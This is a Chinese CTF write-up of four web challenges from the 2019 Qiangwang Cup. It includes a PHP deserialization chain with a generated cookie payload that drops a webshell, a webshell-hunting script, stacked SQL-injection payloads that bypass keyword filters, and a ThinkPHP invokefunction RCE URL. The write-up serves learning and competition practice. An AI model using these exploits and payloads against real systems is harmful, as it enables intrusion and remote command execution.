2019强网杯部分Web wp

  1. 1. Web
    1. 1.1. Upload
    2. 1.2. 高明的黑客
    3. 1.3. 随便注
      1. 1.3.1. Bonus
    4. 1.4. 强网先锋-上单
    5. 1.5. Conclusion

Pwn 网杯再一次用实践行动谁才是 CTF 中爸爸级别的人物!(当然还是 Crypto 爷爷啦

Web

Upload

随便打开一个页面发现 cookie 存在序列化的样子

1
a:5:{s:2:"ID";i:2;s:8:"username";s:4:"zedd";s:5:"email";s:11:"[email protected]";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";s:3:"img";N;}

扫目录得到 www.tar.gz 压缩包,代码审计

Profile.php发现关键代码:

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

被出烂的反序列化…这里肯定是利用__call函数去执行我们的命令了。然后在Register.php中看到有关键代码:

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

很明显了,这里我们用Register->checker = Profile,利用Profile->index()去触发Profile类中的__call魔术方法。

但是我们可以看到Profile.php当中的__call方法调用的参数是

1
2
3
4
5
6
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

通过文档我们可以知道$name是不存在方法的调用的名字,在这里也就是index$arguments就是传入调用方法的参数,这里就为空。

而当使用$this->index的时候,我们会触发另一个魔术方法__get

​ 读取不可访问属性的值时,__get() 会被调用。

所以这里我们又因为if判断中调用了$this->{$name},而当$this->{$name}不存在的时候触发了__get,那我们再仔细看看__get方法

1
2
3
4
public function __get($name)
{
return $this->except[$name];
}

这里又调用了$this->except[$name],而$name我们可以通过__call调用的值确定为index,而且Profile类存在一个公有类except可以供我们修改。

接着利用_get的返回会使__call方法中的if为真,执行$this->{$this->{$name}}($arguments);

这里我大概简化了一下代码:

结果如下,这样这个构造链就比较清楚了。

既然有了构造链,那我们可以怎么做呢?在Profile类中我们还可以发现上传功能的方法有这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}

如果我们不上传文件,就可以直接绕过第一个if判断,直接用赋值绕过第二个if判断,然后可以构造图片马绕过getimagesize的判断,控制$this->filename为 php webshell 形式,这样利用copy($this->filename_tmp, $this->filename)就可以让服务给我复制出了一个 php webshell 了。

好了基本构造攻击链接都基本设计好了。接下来就是怎么触发攻击链了,最开始的源头就是从Register类的__destruct方法开始的,所以我们需要找到一个可以反序列化Register的地方。

Index.php中我们可以找到

1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

可以看到就是通过cookie进行传值进行反序列化操作。所以我们基本上所有的攻击就可以完成了。通过如下代码生成 cookie ,在首页替代 cookie 就行了,即使返回错误,也没关系,只要把文件copy了就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Index extends Controller
{
public $profile;
public $profile_db;
}

class Register extends Controller
{
public $checker=true;
public $registed;
}

class Profile extends Controller
{
public $checker=false;
public $filename_tmp="upload/da5703ef349c8b4ca65880a05514ff89/f78492f0513c659e69dab2e47f567202.png";
public $filename="upload/sh.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array("index"=>"upload_img");
}

$index =new Index();
$reg = new Register();
$reg->checker = new Profile();
$index->profile = $reg;
print_r(urlencode(base64_encode(serialize($reg))));

得到 php websehll

1
YToxOntzOjI6IklEIjtPOjI3OiJhcHBcd2ViXGNvbnRyb2xsZXJcUmVnaXN0ZXIiOjg6e3M6NzoiY2hlY2tlciI7TzoyNjoiYXBwXHdlYlxjb250cm9sbGVyXFByb2ZpbGUiOjEzOntzOjc6ImNoZWNrZXIiO2I6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6NzY6InVwbG9hZC9kYTU3MDNlZjM0OWM4YjRjYTY1ODgwYTA1NTE0ZmY4OS9mNzg0OTJmMDUxM2M2NTllNjlkYWIyZTQ3ZjU2NzIwMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTM6InVwbG9hZC9zaC5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtpOjE7czozOiJpbWciO047czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fXM6NzoiACoAdmlldyI7TjtzOjEwOiIAKgByZXF1ZXN0IjtOO3M6MTY6IgAqAGZhaWxFeGNlcHRpb24iO2I6MDtzOjE2OiIAKgBiYXRjaFZhbGlkYXRlIjtiOjA7czoxOToiACoAYmVmb3JlQWN0aW9uTGlzdCI7YTowOnt9czoxMzoiACoAbWlkZGxld2FyZSI7YTowOnt9fXM6ODoicmVnaXN0ZWQiO047czo3OiIAKgB2aWV3IjtOO3M6MTA6IgAqAHJlcXVlc3QiO047czoxNjoiACoAZmFpbEV4Y2VwdGlvbiI7YjowO3M6MTY6IgAqAGJhdGNoVmFsaWRhdGUiO2I6MDtzOjE5OiIAKgBiZWZvcmVBY3Rpb25MaXN0IjthOjA6e31zOjEzOiIAKgBtaWRkbGV3YXJlIjthOjA6e319fQ%3D%3D

连上去就可以cat /flag

高明的黑客

拿到题目,有 www.tar.gz 附件,但是解压缩出来有很多 php 文件,打开仔细看都是经过混淆的。一开始没什么思路,然后随便仔细审了一个文件,发现都是假马

存在有

1
2
3
4
5
echo `$_GET['xxx']`;
system($_GET['xxx']);
assert($_GET['xxx']);
exec($_GET['xxx']);
eval($_GET['xxx'] ?? ' ');

但是触发条件都极其恶心,故意不让你触发,有类似

1
2
if('xMpdxjdRB' == 'TgjMxZujP')
eval($_GET['xMpdxjdRB'] ?? ' ');

这样或者这样

1
2
$_GET['_5onXTD_C'] = ' ';
eval($_GET['_5onXTD_C'] ?? ' ');

反正就是一系列不让你直接拿到 webshell 的操作,感觉应该就是在混淆真的 webshell 了。

既然是混淆真的 webshell ,那我们是不是可以写个脚本制定一些规则遍历一下所有文件呢?例如利用编译原理 LL1 文法,去他么的编译原理,写个🔨的规则,反正要找最终的 webshell ,干脆先直接找所有的 $_GET 或者 $_POST 变量,直接暴力传参探测,看是否有 webshell 执行命令的回显就好了。

不过这好无聊哦…脚本如下…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
import re
import requests

filePath = '/Users/zedd/Sites/web2/src'
files = os.listdir(filePath)
url = "http://localhost/web2/src/"

def get_rep(filename, name):
r_url = url + filename + "?" + name + "=echo `id`;"
rep = requests.get(r_url)
print(r_url)
if 'uid=501' in rep.content.decode('utf-8'):
print("Got It! !!!!!!! " + filename + " The param is: _GET[" + name +"]")

def post_rep(filename, name):
r_url = url + filename
param = {
name: "echo `id`;"
}
rep = requests.post(r_url, data=param)
print(r_url + " POST: " + name)
if 'uid=501' in rep.content.decode('utf-8'):
print("Got It! !!!!!!! " + filename + " The param is: _POST[" + name +"]")

for k in files:
if k == '.DS_Store':
continue
if k == 'index.html':
continue
with open('./src/' + k, 'rt') as f:
content = f.read()
get = re.findall(r"GET\['(.+?)'\]", content)
post = re.findall(r"POST\['(.+?)'\]", content)
for i in get:
get_rep(k, i)
for i in post:
post_rep(k, i)
f.close()

第一天还跑错文件位置了,导致自己跑了好几遍都没出来,开始怀疑自己…第二天清醒了以后,仔细看才发现原来文件位置写错了…然后才跑出来

你看这个文件是得有多可气啊!你看这个黑客是有多可气啊!

连上去cat /flag就拿到 flag 了

随便注

一个注入题… fuzz 了一下,发现回显过滤了

1
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

但是讲道理,过滤了select,是无法通过常规操作注入去拿 flag 的,于是考虑是不是不需要拿数据库,就是单纯读文件什么的操作。

可以报错,尝试使用以下读文件,无果

1
2
3
1' and extractvalue(1, concat(0x7e, (LOAD_FILE('/etc/passwd')),0x7e));

1' and (extractvalue(1,concat(0x7e,(isnull('/etc/passwd')),0x7e)))#

这里神奇的事isnull,无论文件存不存在都返回了 0 …

搜索过滤的关键字,在红日代码审计那个找到类似的,用那个的思路尝试 HPP ,无果。

搜到 2018 SUCTF 中也有类似的关键字过滤,发现那道题可以通过类似以下的 payload 堆叠达到注入效果

1
set @t=0x73656c65637420312c323b;prepare x from @t;execute x;

但是尝试的时候发现过滤回显

1
strstr($inject, "set") && strstr($inject, "prepare")

想了好一会,突然发现这是个strstr函数呀!可以用大小写绕过!

但是题目可能哪里出了问题,好几次拿到 flag 字段内容都为空…我觉得没什么问题…尝试了好几个 payload ,也问了客服,客服说没问题…又随便试了几个终于出了…

1
2
3
4
5
6
7
8
9
select * from supersqli.1919810931114514
1919810931114514
select * from 1919810931114514

1';Set @t=0x73656c65637420666c61672066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#

1';Set @t=0x73656c656374202a2066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#

1';Set @t=0x73656c656374202a2066726f6d20737570657273716c692e31393139383130393331313134353134;Prepare x from @t;Execute x;#

Bonus

还可以有

1
RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

这种重命名的解法。

整个解法的意思就是把 words 这张表改成 words1 ,把存在 flag 的表 1919810931114514 改成 words,因为默认的 web 是从 words 表中查数据的,这样一改,就不需要我们去select另一张表了。所以接下来就是把 flag 的表的字段改成原来 words 表的字段就可以了。

最后可以通过1 or 1=1#这样的把所有的数据查出来了,这时候的 words 表就是 flag 存在的表了。

强网先锋-上单

打开发现可以列目录,在http://117.78.39.172:30280/1/runtime/log/201903/12.log我们可以发现有一段 log

1
2
3
4
5
6
7
8
9
10
11
12
---------------------------------------------------------------
[ 2019-03-12T23:18:49+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error锛� boolean
---------------------------------------------------------------
[ 2019-03-12T23:18:53+08:00 ] 42.236.10.84 GET 39.105.136.196:8000/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error锛� boolean
---------------------------------------------------------------
[ 2019-03-12T23:19:52+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/?s=index/\think\Request/input&filter=system&data=whoami
[ error ] [0]Access to non-public constructor of class think\Request
---------------------------------------------------------------
[ 2019-03-12T23:23:59+08:00 ] 223.104.19.11 get /?s=captcha
[ error ] [2]system(): Cannot execute a blank command

发现是 tp 的 rce log,直接拿去打http://117.78.39.172:30280/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

拿到 flag

Conclusion

Web 都比较难,质量都还是不错的。我觉得第一个题 upload 整个构造链还是需要一定技巧的,But 看到一些 wp 直接三言两语就带过了…啧啧…还是学到了一些知识的

再贴一几个我收集到的 wp 吧

babywebbb

智能门锁


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/06/04/2019qwb/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

LFI2RCE 2019 ISCC Web wp

Comments